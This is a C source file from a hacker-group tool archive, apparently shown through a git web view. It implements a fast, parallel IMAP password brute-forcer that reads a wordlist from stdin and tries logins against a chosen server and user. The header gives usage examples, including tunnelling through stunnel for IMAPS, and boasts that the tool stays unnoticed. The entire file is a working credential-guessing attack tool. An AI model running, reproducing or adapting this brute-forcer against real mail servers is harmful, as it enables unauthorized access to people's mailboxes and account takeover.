initial push of all stuff :)
[oweals/thc-archive.git] / Tools / thc_imap_bruter.c
1 /*
2  * IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).
3  * I had this one running with 30 passwords / second (100 parallel connections)
4  * against a single server and it did not even appear in top.
5  *
6  * Visit us -- your enemies already did.
7  * http://www.thc.org - THE HACKERS CHOICE
8  *
9  * gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
10  *
11  * SSL support for dummies:
12  * stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
13  *
14  * Example: (Brute 40 in parallel)
15  * ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
16  */
17 #include <sys/time.h>
18 #include <sys/types.h>
19 #include <sys/socket.h>
20 #include <netinet/in.h>
21 #include <arpa/inet.h>
22 #include <netdb.h>
23 #include <stdio.h>
24 #include <unistd.h>
25 #include <fcntl.h>
26 #include <time.h>
27 #include <errno.h>
28 #include <string.h>
29 #include <stdlib.h>
30
31 struct peer_str
32 {
33         char password[64];
34         char buf[256];
35         int sox;
36         int read;
37         char flags;
38         time_t time;
39 };
40
41 #define FL_CONNECTED            (0x01)
42 #define FL_HEADERREAD           (0x02)
43
44 #define ERREXIT(a...)   do { \
45         fprintf(stderr, "%s:%d ", __func__, __LINE__); \
46         fprintf(stderr, a); \
47         exit(-1); \
48 } while (0)
49
50 static char g_flags;
51 #define FL_FINISHED             (0x04) /* wordlist finished */
52 static unsigned short g_port;
53 static unsigned int g_ip;
54 static char *g_login;
55 static unsigned int g_parallel;
56 time_t time_now;
57 static fd_set g_rfds, g_wfds;
58 static unsigned int cracks;
59 static char *g_passwd;
60 static int n_peers;
61
62 struct peer_str peers[1024];
63         
64 static unsigned int
65 hostname(char *host)
66 {
67         struct hostent *he;
68         int ip;
69
70         if ( (ip = inet_addr(host)) != -1)
71                 return ip;
72         if ( (he = gethostbyname(host)) == NULL)
73                 return -1;
74
75         if (he->h_length != 4)
76                 return -1;
77         return *(int *)he->h_addr;
78 }
79
80 int tcp_socket_connect(unsigned int ip, unsigned short port)
81 {
82         int fd;
83         struct sockaddr_in addr;
84         int i;
85
86         if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
87                 return -1;
88
89         memset(&addr, 0, sizeof addr);
90         addr.sin_family = PF_INET;
91         addr.sin_addr.s_addr = ip;
92         addr.sin_port = port;
93
94         if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
95         {
96                 close(fd);
97                 return -1;
98         }
99         i = i;
100         setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
101         fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
102
103         return fd;
104 }
105
106 static void
107 usage(void)
108 {
109         fprintf(stderr, ""
110 "imap-bruter [rlpn]\n"
111 "Options:\n"
112 "  -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
113 "  -p <port>       - Port imapd runs on. [default: 143]\n"
114 "  -l <login name> - Login name\n"
115 "  -n <parallel>   - Number of parallel connections.\n"
116 "Passwords are read from stdin. Stunnel can be used if IMAPS is in place.\n"
117 "");
118         exit(0);
119 }
120
121 static void
122 do_getopt(int argc, char *argv[])
123 {
124         int c;
125
126         g_port = 143;
127         g_parallel = 5;
128
129         while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
130         {
131                 switch (c)
132                 {
133                 case 'r':
134                         g_ip = hostname(optarg);
135                         break;
136                 case 'l':
137                         g_login = strdup(optarg);
138                         break;
139                 case 'p':
140                         g_port = atoi(optarg);
141                         break;
142                 case 'n':
143                         g_parallel = atoi(optarg);
144                         break;
145                 default:
146                         usage();
147                         break;
148                 }
149         }
150
151         if (g_ip == -1)
152         {
153                 fprintf(stderr, "Unknown host!\n");
154                 usage();
155         }
156         if (!g_login)
157                 usage();
158         if (g_parallel <= 0)
159                 usage();
160 }
161
162 static void
163 peer_clear(struct peer_str *p)
164 {
165         if (p->sox >= 0)
166                 close(p->sox);
167         p->sox = -1;
168         p->read = 0;
169         p->flags = 0;
170         /* Keep 'password' as it has not yet been processed */
171         n_peers--;
172 }
173
174 static int
175 do_readpwd(struct peer_str *p)
176 {
177         char *ptr;
178
179         if (g_flags & FL_FINISHED)
180                 return -1;
181         cracks++;
182         memset(p->password, 0, sizeof p->password);
183         if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
184                 return -1;
185
186         g_passwd = p->password;
187         ptr = strchr(p->password, '\n');
188         if (ptr)
189                 *ptr = '\0';
190
191         return 0;
192 }
193
194 /*
195  * Socket ready for reading. Read line.
196  */
197 void
198 do_read(struct peer_str *p)
199 {
200         ssize_t n;
201         char *ptr;
202         char buf[1024];
203
204         n = read(p->sox, p->buf + p->read, sizeof p->buf - p->read - 1);
205         if (n <= 0)
206                 goto err;
207         p->read += n;
208
209         if (p->read + 1 >= sizeof p->buf)
210                 goto err;
211         p->buf[p->read] = '\0';
212         ptr = strchr(p->buf, '\n');
213         if (!ptr)
214                 return;
215         p->time = time_now;
216         if (p->flags & FL_HEADERREAD)
217         {
218                 if (strstr(p->buf, " NO") == NULL)
219                 {
220                         printf("FOUND '%s'\n", p->password);
221                         exit(0);
222                 }
223                 if (do_readpwd(p) != 0)
224                 {
225                         g_flags |= FL_FINISHED;
226                         goto err;
227                 }
228         } else {
229                 p->flags |= FL_HEADERREAD;
230                 if (p->password[0] == '\0')
231                 {
232                         if (do_readpwd(p) != 0)
233                         {
234                                 g_flags |= FL_FINISHED;
235                                 goto err;
236                         }
237                 }
238         }
239
240         snprintf(buf, sizeof buf, "1 login \"%.100s\" \"%.100s\"\r\n", g_login, p->password);
241         n = strlen(buf);
242         if (write(p->sox, buf, n) != n)
243         {
244                 /* Write should not fail. Linux kernel always has 1024 write
245                  * buffer for us.
246                  */
247                  goto err;
248         }
249
250         return;
251 err:
252         peer_clear(p);
253 }
254
255 static void
256 peer_init(struct peer_str *p)
257 {
258         p->sox = -1;
259         p->read = 0;
260 }
261
262 int
263 main(int argc, char *argv[])
264 {
265         struct timeval tv;
266         int conn;
267         int maxfd;
268         struct peer_str *p;
269         int i, n;
270         int ret;
271         socklen_t len;
272         time_t time_last, time_start;
273         unsigned int hours, min, sec;
274         unsigned int old_cracks = 0;
275         double cs;
276
277         g_passwd = "<waiting...>";
278         do_getopt(argc, argv);
279         time_now = time(NULL);
280         time_start = time_now;
281         time_last = time_now;
282         printf("Bruting '%s' with %d in parallel\n", g_login, g_parallel);
283         for (i = 0; i < g_parallel; i++)
284                 peer_init(&peers[i]);
285
286         while (1)
287         {
288                 tv.tv_sec = 1;
289                 tv.tv_usec = 0;
290                 FD_ZERO(&g_rfds);
291                 FD_ZERO(&g_wfds);
292                 conn = 0;
293                 maxfd = 0;
294                 for (i = 0; i < g_parallel; i++)
295                 {
296                         if (peers[i].sox >= 0)
297                         {
298                                 if (peers[i].flags & FL_CONNECTED)
299                                         FD_SET(peers[i].sox, &g_rfds);
300                                 else
301                                         FD_SET(peers[i].sox, &g_wfds);
302                         } else if ((conn < 5) && (!(g_flags & FL_FINISHED))) {
303                                 peers[i].time = time_now;
304                                 peers[i].sox = tcp_socket_connect(g_ip, htons(g_port));
305                                 if (peers[i].sox >= 0)
306                                         FD_SET(peers[i].sox, &g_wfds);
307                                 conn++;
308                         }
309                         if (peers[i].sox > maxfd)
310                                 maxfd = peers[i].sox;
311                 }
312                 if (maxfd == 0)
313                 {
314                         fprintf(stderr, "Finished %u cracks after %lu sec.\n", cracks, time_now - time_start);
315                         exit(0);
316                 }
317                 n = select(maxfd + 1, &g_rfds, &g_wfds, NULL, &tv);
318                 time_now = time(NULL);
319                 if ((time_last < time_now) && (old_cracks != cracks))
320                 {
321                         sec = time_now - time_start;
322                         hours = sec / 3600;
323                         min = (sec - hours * 3600) / 60;
324                         sec = sec % 60;
325                         cs = ((float)cracks) / ((float)(time_now - time_start));
326                         fprintf(stderr, "[%u:%02u:%02u] total: %d with %d peers: '%s' (%1.03f c/s)\n", hours, min, sec, cracks, n_peers, g_passwd, cs);
327                         time_last = time_now;
328                         old_cracks = cracks;
329                 }
330
331                 for (i = 0; i < g_parallel; i++)
332                 {
333                         p = &peers[i];
334                         if (p->sox < 0)
335                                 continue;
336
337                         if (p->time + 30 < time_now)
338                         {
339                                 fprintf(stderr, "TIMEOUT on socket...\n");
340                                 peer_clear(p);
341                                 continue;
342                         }
343
344                         if (FD_ISSET(p->sox, &g_wfds))
345                         {
346                                 len = sizeof ret;
347                                 ret = 0;
348                                 if ((getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &ret, &len) != 0) || (ret != 0))
349                                         peer_clear(p);
350                                 else {
351                                         p->flags |= FL_CONNECTED;
352                                         n_peers++;
353                                 }
354
355                         } else if (FD_ISSET(p->sox, &g_rfds)) {
356                                 do_read(p);
357                         }
358                 } /* for through all peers.. */
359         }
360 }
361